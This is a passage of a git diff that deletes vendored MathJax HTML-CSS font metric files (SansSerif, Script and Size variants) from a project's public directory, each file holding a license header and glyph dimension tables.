-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_SansSerif-bold"],{32:[0,0,250,0,0],33:[695,0,367,109,257],34:[694,-441,558,37,420],35:[694,193,917,61,855],36:[750,57,550,49,488],37:[750,57,1029,61,967],38:[716,22,831,47,769],39:[694,-441,306,80,226],40:[750,249,428,79,366],41:[751,251,428,61,348],42:[750,-293,550,67,482],43:[617,116,856,61,794],44:[146,107,306,80,226],45:[274,-185,367,12,305],46:[146,0,306,80,226],47:[750,249,550,61,489],48:[715,22,550,42,506],49:[716,-1,550,76,473],50:[716,0,550,46,495],51:[716,22,550,46,503],52:[695,1,550,30,519],53:[694,22,550,37,494],54:[716,22,550,46,503],55:[696,12,550,45,504],56:[716,22,550,46,503],57:[716,22,550,46,503],58:[458,0,306,80,226],59:[458,107,306,80,226],61:[407,-94,856,61,794],63:[706,0,519,61,457],64:[704,11,733,61,671],65:[695,1,733,42,691],66:[695,-1,733,92,671],67:[704,11,703,61,647],68:[695,0,794,91,732],69:[692,0,642,92,596],70:[692,1,611,92,565],71:[705,11,733,61,659],72:[695,1,794,92,702],73:[695,1,331,85,246],74:[695,22,519,46,427],75:[695,1,764,92,701],76:[695,0,581,92,535],77:[695,1,978,92,886],78:[695,1,794,92,702],79:[716,22,794,62,731],80:[694,0,703,92,641],81:[716,106,794,62,732],82:[695,1,703,92,654],83:[716,22,611,49,549],84:[689,1,733,40,693],85:[695,22,764,92,672],86:[695,-1,733,27,705],87:[695,1,1039,23,1014],88:[695,0,733,37,694],89:[695,1,733,23,708],90:[694,0,672,61,617],91:[751,251,343,78,318],93:[751,251,343,24,263],94:[694,-537,550,108,441],95:[-23,110,550,0,549],97:[475,11,525,31,474],98:[695,11,561,54,523],99:[475,11,489,37,457],100:[695,11,561,37,507],101:[475,10,511,30,480],102:[705,1,336,28,382],103:[469,207,550,17,534],104:[695,1,561,53,509],105:[695,1,256,45,208],106:[696,205,286,-71,233],107:[695,1,531,63,496],108:[695,1,256,54,201],109:[469,1,867,53,816],110:[468,1,561,53,509],111:[475,11,550,32,518],112:[470,194,561,54,523],113:[470,195,561,37,507],114:[469,0,372,54,356],115:[474,10,422,30,396],116:[590,10,404,20,374],117:[459,11,561,52,509],118:[459,0,500,26,473],119:[459,1,744,23,719],120:[459,1,500,23,475],121:[459,205,500,28,473],122:[458,1,476,31,443],126:[344,-197,550,92,457]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Bold/BasicLatin.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/CombDiacritMarks.js
deleted file mode 100644
index d2b807d7..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_SansSerif-bold"],{768:[695,-537,0,-458,-218],769:[694,-536,0,-334,-93],770:[694,-537,0,-442,-109],771:[694,-547,0,-458,-93],772:[660,-560,0,-474,-77],774:[695,-552,0,-470,-80],775:[695,-596,0,-357,-194],776:[696,-594,0,-459,-90],778:[694,-537,0,-365,-118],779:[695,-536,0,-440,-93],780:[658,-500,0,-442,-109]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Bold/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/Main.js
deleted file mode 100644
index 0f1c43ea..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_SansSerif-bold"]={directory:"SansSerif/Bold",family:"MathJax_SansSerif",weight:"bold",testString:"MathJax SansSerif",Ranges:[[0,127,"BasicLatin"],[128,65535,"Other"],[768,879,"CombDiacritMarks"]]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_SansSerif-bold"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Bold/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/Other.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/Other.js
deleted file mode 100644
index 86471ec3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Bold/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_SansSerif-bold"],{160:[0,0,250,0,0],305:[459,1,256,54,201],567:[459,205,286,-71,232],915:[692,1,581,92,535],916:[695,0,917,60,856],920:[716,22,856,62,793],923:[695,1,672,41,630],926:[688,1,733,45,687],928:[691,1,794,92,702],931:[695,0,794,61,733],933:[716,1,856,61,794],934:[695,0,794,62,732],936:[695,0,856,61,794],937:[716,1,794,48,745],8211:[327,-240,550,0,549],8212:[327,-240,1100,0,1099],8216:[695,-443,306,81,226],8217:[694,-441,306,80,226],8220:[695,-443,558,138,521],8221:[694,-441,558,37,420]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Bold/Other.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/BasicLatin.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/BasicLatin.js
deleted file mode 100644
index d310dbd1..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_SansSerif-italic"],{32:[0,0,250,0,0],33:[694,0,319,110,355],34:[694,-471,500,133,472],35:[694,194,833,87,851],36:[750,56,500,56,565],37:[750,56,833,165,815],38:[716,22,758,71,747],39:[694,-471,278,190,335],40:[750,250,389,104,491],41:[750,250,389,2,390],42:[750,-305,500,156,569],43:[583,83,778,108,775],44:[98,125,278,63,209],45:[259,-186,333,51,332],46:[98,0,278,90,209],47:[750,250,500,6,600],48:[678,23,500,88,549],49:[678,0,500,88,451],50:[679,0,500,50,552],51:[678,22,500,56,544],52:[656,0,500,62,521],53:[656,22,500,50,555],54:[678,22,500,94,548],55:[656,11,500,143,596],56:[678,22,500,77,554],57:[677,22,500,77,545],58:[444,0,278,90,282],59:[444,125,278,63,282],61:[370,-130,778,87,796],63:[704,0,472,173,536],64:[705,10,667,120,707],65:[694,0,667,28,638],66:[694,0,667,90,696],67:[705,10,639,124,719],68:[694,0,722,88,747],69:[691,0,597,86,688],70:[691,0,569,86,673],71:[705,11,667,125,730],72:[694,0,708,86,768],73:[694,0,278,87,338],74:[694,22,472,46,535],75:[694,0,694,88,785],76:[694,0,542,87,516],77:[694,0,875,92,929],78:[694,0,708,88,766],79:[716,22,736,118,763],80:[694,0,639,88,690],81:[716,125,736,118,763],82:[694,0,646,88,699],83:[716,22,556,54,609],84:[688,0,681,165,790],85:[694,22,688,130,747],86:[694,0,667,161,799],87:[694,0,944,160,1076],88:[694,0,667,14,758],89:[694,0,667,151,810],90:[694,0,611,55,702],91:[750,250,289,41,425],93:[750,250,289,-31,353],94:[694,-527,500,190,533],95:[-38,114,500,50,565],97:[461,11,481,61,474],98:[694,11,517,75,539],99:[461,11,444,75,499],100:[694,11,517,73,588],101:[460,11,444,71,472],102:[705,0,306,94,494],103:[455,206,500,12,568],104:[694,0,517,73,513],105:[680,0,239,74,315],106:[680,204,267,-96,336],107:[694,0,489,76,543],108:[694,0,239,74,311],109:[455,0,794,73,790],110:[454,0,517,73,513],111:[461,11,500,69,523],112:[455,194,517,34,538],113:[455,194,517,72,538],114:[455,0,342,74,424],115:[461,11,383,35,436],116:[571,11,361,97,410],117:[444,11,517,90,537],118:[444,0,461,108,540],119:[444,0,683,108,762],120:[444,0,461,1,537],121:[444,205,461,1,540],122:[444,0,435,28,494],126:[327,-193,500,199,560]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Italic/BasicLatin.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/CombDiacritMarks.js
deleted file mode 100644
index a9f50e7f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_SansSerif-italic"],{768:[694,-527,0,-270,-87],769:[694,-527,0,-190,63],770:[694,-527,0,-310,33],771:[677,-543,0,-301,60],772:[631,-552,0,-314,64],774:[694,-508,0,-284,73],775:[680,-576,0,-180,-54],776:[680,-582,0,-273,40],778:[694,-527,0,-227,-2],779:[694,-527,0,-287,63],780:[654,-487,0,-283,60]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Italic/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/Main.js
deleted file mode 100644
index 3dbb1a12..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_SansSerif-italic"]={directory:"SansSerif/Italic",family:"MathJax_SansSerif",style:"italic",testString:"MathJax SansSerif",Ranges:[[0,127,"BasicLatin"],[128,65535,"Other"],[768,879,"CombDiacritMarks"]]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_SansSerif-italic"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Italic/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/Other.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/Other.js
deleted file mode 100644
index 6c1fe1f3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Italic/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_SansSerif-italic"],{160:[0,0,250,0,0],305:[444,0,239,74,258],567:[444,204,267,-96,286],915:[691,0,542,87,646],916:[694,0,833,42,790],920:[715,22,778,119,804],923:[694,0,611,28,582],926:[688,0,667,42,765],928:[691,0,708,86,768],931:[694,0,722,55,813],933:[716,0,778,173,843],934:[694,0,722,124,743],936:[694,0,778,171,854],937:[716,0,722,44,769],8211:[312,-236,500,50,565],8212:[312,-236,1000,50,1065],8216:[694,-471,278,190,336],8217:[694,-471,278,190,335],8220:[694,-471,500,274,614],8221:[694,-471,500,133,472]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Italic/Other.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/BasicLatin.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/BasicLatin.js
deleted file mode 100644
index 7710aead..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_SansSerif,{32:[0,0,250,0,0],33:[694,0,319,110,208],34:[694,-471,500,32,325],35:[694,194,833,55,777],36:[750,56,500,44,444],37:[750,56,833,56,776],38:[716,23,758,42,703],39:[694,-471,278,89,188],40:[750,250,389,74,333],41:[750,250,389,55,314],42:[750,-306,500,63,436],43:[583,83,778,55,722],44:[98,125,278,89,188],45:[259,-186,333,11,277],46:[98,0,278,90,188],47:[751,250,500,56,445],48:[678,22,500,39,460],49:[678,0,500,83,430],50:[677,0,500,42,450],51:[678,22,500,42,457],52:[656,0,500,28,471],53:[656,22,500,33,449],54:[678,22,500,42,457],55:[656,11,500,42,457],56:[678,22,500,43,456],57:[678,22,500,42,457],58:[444,0,278,90,188],59:[444,125,278,89,188],61:[370,-130,778,55,722],63:[704,0,472,55,416],64:[704,11,667,56,612],65:[694,0,667,28,638],66:[694,0,667,90,610],67:[705,11,639,59,587],68:[695,0,722,87,666],69:[691,0,597,86,554],70:[691,0,569,86,526],71:[704,11,667,59,599],72:[694,0,708,86,621],73:[694,0,278,87,191],74:[694,22,472,42,389],75:[694,0,694,88,651],76:[694,0,542,87,499],77:[694,0,875,92,782],78:[694,0,708,88,619],79:[715,22,736,55,680],80:[694,0,639,88,583],81:[715,125,736,55,680],82:[694,0,646,88,617],83:[716,22,556,44,500],84:[688,0,681,36,644],85:[694,22,688,87,600],86:[694,0,667,14,652],87:[694,0,944,14,929],88:[694,0,667,14,652],89:[694,0,667,3,663],90:[694,0,611,55,560],91:[750,250,289,94,266],93:[750,250,289,22,194],94:[694,-527,500,78,421],95:[-38,114,500,0,499],97:[461,11,481,38,408],98:[694,11,517,75,482],99:[460,10,444,34,415],100:[694,10,517,33,441],101:[461,10,444,28,415],102:[706,0,306,27,347],103:[455,206,500,28,485],104:[694,0,517,73,443],105:[680,0,239,67,171],106:[680,205,267,-59,192],107:[694,0,489,76,471],108:[694,0,239,74,164],109:[455,0,794,73,720],110:[455,0,517,73,443],111:[460,10,500,28,471],112:[456,194,517,75,483],113:[455,194,517,33,441],114:[455,0,342,74,327],115:[460,10,383,28,360],116:[571,10,361,18,333],117:[444,11,517,73,443],118:[444,0,461,14,446],119:[444,0,683,14,668],120:[444,0,461,0,460],121:[444,205,461,14,446],122:[444,0,435,28,402],126:[327,-193,500,83,416]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Regular/BasicLatin.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/CombDiacritMarks.js
deleted file mode 100644
index 73f334de..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_SansSerif,{768:[694,-527,0,-417,-199],769:[694,-527,0,-302,-84],770:[694,-527,0,-422,-79],771:[677,-543,0,-417,-84],772:[631,-552,0,-431,-70],774:[694,-508,0,-427,-74],775:[680,-576,0,-302,-198],776:[680,-582,0,-397,-104],778:[694,-527,0,-319,-99],779:[694,-527,0,-399,-84],780:[654,-487,0,-422,-79]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Regular/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/Main.js
deleted file mode 100644
index 6b658498..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_SansSerif={directory:"SansSerif/Regular",family:"MathJax_SansSerif",testString:"MathJax SansSerif",Ranges:[[0,127,"BasicLatin"],[128,65535,"Other"],[768,879,"CombDiacritMarks"]]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_SansSerif"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/Other.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/Other.js
deleted file mode 100644
index 13b65b20..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/SansSerif/Regular/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_SansSerif,{160:[0,0,250,0,0],305:[444,0,239,74,164],567:[444,205,267,-59,192],915:[691,0,542,87,499],916:[694,0,833,42,790],920:[716,21,778,56,722],923:[694,0,611,28,582],926:[688,0,667,42,624],928:[691,0,708,86,621],931:[694,0,722,55,666],933:[717,0,778,55,722],934:[694,0,722,55,666],936:[694,0,778,55,722],937:[716,0,722,44,677],8211:[312,-236,500,0,499],8212:[312,-236,1000,0,999],8216:[694,-471,278,90,189],8217:[694,-471,278,89,188],8220:[694,-471,500,174,467],8221:[694,-471,500,32,325]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SansSerif/Regular/Other.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/BasicLatin.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/BasicLatin.js
deleted file mode 100644
index 5ed4ee1c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Script,{32:[0,0,250,0,0],65:[718,8,803,35,1017],66:[708,28,908,31,928],67:[728,26,666,26,819],68:[708,31,774,68,855],69:[708,8,562,46,719],70:[735,36,895,39,990],71:[717,38,610,12,739],72:[718,36,969,29,1241],73:[717,17,809,59,946],74:[718,315,1052,92,1133],75:[717,37,914,29,1204],76:[718,18,874,14,1036],77:[721,50,1080,30,1216],78:[726,36,902,29,1208],79:[707,8,738,96,805],80:[716,38,1013,89,1031],81:[717,17,883,54,885],82:[717,17,850,-3,887],83:[708,36,868,29,1016],84:[735,37,747,92,996],85:[717,17,800,55,960],86:[717,17,622,56,850],87:[718,17,805,46,1026],88:[718,17,944,103,1132],89:[716,17,710,57,959],90:[718,16,821,82,1033]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Script/Regular/BasicLatin.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/Main.js
deleted file mode 100644
index b69453ec..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Script={directory:"Script/Regular",family:"MathJax_Script",testString:"MATHJAX SCRIPT",skew:{65:0.389,66:0.194,67:0.278,68:0.111,69:0.139,70:0.222,71:0.25,72:0.333,73:0.333,74:0.417,75:0.361,76:0.306,77:0.444,78:0.389,79:0.167,80:0.222,81:0.278,82:0.194,83:0.333,84:0.222,85:0.25,86:0.222,87:0.25,88:0.278,89:0.194,90:0.306},Ranges:[[0,127,"BasicLatin"],[128,65535,"Other"]]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Script"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Script/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/Other.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/Other.js
deleted file mode 100644
index de25f84b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Script/Regular/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Script,{160:[0,0,250,0,0]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Script/Regular/Other.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size1/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size1/Regular/Main.js
deleted file mode 100644
index add73d48..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size1/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Size1/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Size1={directory:"Size1/Regular",family:"MathJax_Size1",testString:"() [] {}",32:[0,0,250,0,0],40:[850,349,458,152,422],41:[851,349,458,35,305],47:[850,349,578,55,522],91:[850,349,417,202,394],92:[850,349,578,54,522],93:[850,349,417,22,214],123:[850,349,583,104,477],125:[851,349,583,104,477],160:[0,0,250,0,0],710:[744,-551,556,-8,564],732:[722,-597,556,1,554],770:[744,-551,0,-564,8],771:[722,-597,0,-555,-2],8214:[602,0,778,257,521],8593:[600,0,667,112,555],8595:[600,0,667,112,555],8657:[599,0,778,57,721],8659:[600,-1,778,57,721],8719:[750,250,944,55,888],8720:[750,250,944,55,888],8721:[751,250,1056,56,999],8730:[850,350,1000,111,1020],8739:[627,15,333,145,188],8741:[627,15,556,145,410],8747:[805,306,472,55,610],8748:[805,306,819,55,957],8749:[805,306,1166,55,1304],8750:[805,306,472,55,610],8896:[750,249,833,55,777],8897:[750,249,833,55,777],8898:[750,249,833,54,777],8899:[750,250,833,55,777],8968:[850,349,472,202,449],8969:[850,349,472,22,269],8970:[850,349,472,202,449],8971:[850,349,472,22,269],9168:[602,0,667,312,355],10216:[850,350,472,97,394],10217:[850,350,472,77,374],10752:[750,250,1111,56,1054],10753:[750,250,1111,56,1054],10754:[750,250,1111,56,1054],10756:[750,250,833,55,777],10758:[750,249,833,55,777]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Size1"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Size1/Regular/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size2/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size2/Regular/Main.js
deleted file mode 100644
index a32200ff..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Size2/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Size2/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
